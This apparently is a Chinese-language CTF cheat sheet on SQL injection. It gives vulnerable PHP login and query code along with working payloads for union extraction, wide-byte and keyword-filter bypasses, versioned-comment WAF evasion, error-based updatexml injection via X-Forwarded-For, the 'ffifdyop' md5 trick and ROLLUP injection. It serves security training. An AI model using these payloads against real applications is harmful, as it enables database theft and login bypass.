1.常规注入
获取表名----------------
http://xxxxxx/sql1/index.php?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database()%23
获取列名----------------
http://xxxxxx/sql1/index.php?id=1' union select 1,2,column_name from information_schema.columns where table_name='flag'%23
获取信息----------------
http://xxxxxx/sql1/index.php?id=1' union select 1,2,flag from flag%23
2.宽字节注入
%df'会成为一个中文字符(也就是吃掉\,绕过过滤addslashes函数的规则)
http://xxxxxx/sql2/index.php?id=1%df' union select 1,2,flag from flag %23
3.关键字替换
以替换关键字的方式过滤,只替换一次,故可将关键字插入来达到绕过目的
http://xxxxxx/sql3/index.php?id=1' uniunionon selselectect 1,2,flag frfromom flag %23
4.空数组运用
源码如下:
<?php
include 'conn.php';
error_reporting(0);
$action = isset($_GET['action']) ? $_GET['action'] : '';
if ($action === 'login') {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
$sql = "SELECT password FROM users where username = '" . $username . "'";
$res = mysql_query($sql) or die(mysql_error());
$row = mysql_fetch_row($res);
if($row[0] === $password){
echo $flag;
}else{
echo 'username or password error.';
}
mysql_close($con);
}
?>
password传入数组为null 同时传入一个不存在的username 查询也得null
post: username=&password[]=
5.逻辑比较注入
源码如下:
<?php
include 'conn.php';
error_reporting(0);
$action = isset($_GET['action']) ? $_GET['action'] : '';
if ($action === 'login') {
$username = substr($_POST['username'],0,4);
$password = md5($_POST['password']);
$sql = "SELECT * FROM users where username = '" . $username . "' and password = '" . $password . "'";
$res = mysql_query($sql) or die(mysql_error());
$row = mysql_fetch_row($res);
if(isset($row[0])){
echo $flag;
}else{
echo 'username or password error.';
}
mysql_close($con);
}
?>
限制了传入字符数量。只要运行mysql_query正常即可获取,构造payload
post : username='<1#&password=1
原理 : 查询语句select * from user where id=''<1 相当于select * from user where True
6.突破关键字边界注入
源码如下:
<?php
include 'conn.php';
error_reporting(0);
$id = webscan_StopAttack($_GET['id']);
$sql = "SELECT * FROM article where id = '" . $id . "'";
$res = mysql_query($sql) or die(mysql_error());
while($row = mysql_fetch_array($res)){
echo $row[1] . "<br>" . $row[2] . "<br>";
}
function webscan_StopAttack($string) {
if (preg_match("/\bunion\b|\bselect\b|\bfrom\b/is",$string)==1){
exit('Hey boy,I am 360!');
}
return $string;
}
show_source(__FILE__);
?>
使用了正则匹配(\b关键字\b)关键字即为边界过滤规则
格式为/*!5000关键字*/
http://xxxxxx/sql2/index.php?id=1' /*!50000union*/ /*!50000select*/ 1,flag,3 /*!50000from*/ flag %23
7.同表数据注入
源码如下:
<?php
include 'conn.php';
error_reporting(0);
$action = isset($_GET['action']) ? $_GET['action'] : '';
if ($action === 'login') {
if(strlen($_POST['username']) > 30){
exit('username limit 30 characters');
}
$username = $_POST['username'];
$password = md5($_POST['password']);
$sql = "SELECT password FROM users where username = '" . $username . "'";
$res = mysql_query($sql) or die(mysql_error());
$row = mysql_fetch_row($res);
if(isset($row[0])){
if($row[0] === $password){
echo $flag;
}else{
echo 'password error.';
}
}else{
echo 'username error.';
}
mysql_close($con);
}
?>
与上面题目类似,有点不同的是账号密码不对有提示信息且变量可控,可以使用脚本遍历,通过错误信息来判断账号密码是否正确,或者直接使用暴力破解(考验字典)
原理 : 查询语句select password from user where username='' ||substring(username,1,1)='a'# 可以用于遍历账号密码的每一位判断(建议使用burpsuit)
8.insert 注入
题型方式:
1.将ip记入到数据库中
2.将操作日志插入到数据库中
原理:insert into a values('helo',''or updatexml(1,concat(0x7e,(database())),0) or'') 可以执行报错注入
可以通过x-forwarded-for参数将payload加入进去
x-forwarded-for:''or updatexml(1,concat(0x7e,(select flag from flag)),0) or''
方式二:payload:'and updatexml(1,concat(0x3a,(select flag from flag)),1)-- -
9.md5函数漏洞注入
代码如下:
<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
产生原因:
在代码中如果出现md5($password,true),即可能产生如下利用
当md5后的hex转换成字符串后,如果包含 ‘or'<trash> 这样的字符串,那整个sql变成SELECT * FROM admin WHERE pass = ''or'6<trash>'
在网上搜了一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
查询转换为:or'6<trash>'
10.二次注入
代码如下:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "stop by waf!!!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; ##关键字替换
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; ##注入点
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "wrong password";
}
}else{
print "Multiple data";
}
mysql_close($con);
?>
原理:select * from admin where id ='' <1 group by id with rollup limit 1 offset 1
查询语句演示.png
同等于select * from admin where id ='' <1 group by id with rollup limit 0,1
因为过滤了逗号,只能用第一种语法
payload: '<1 group by pwd with rollup limit 1 offset 2#
报错注入
updatexml(1, concat(0x7e,select version()),1)
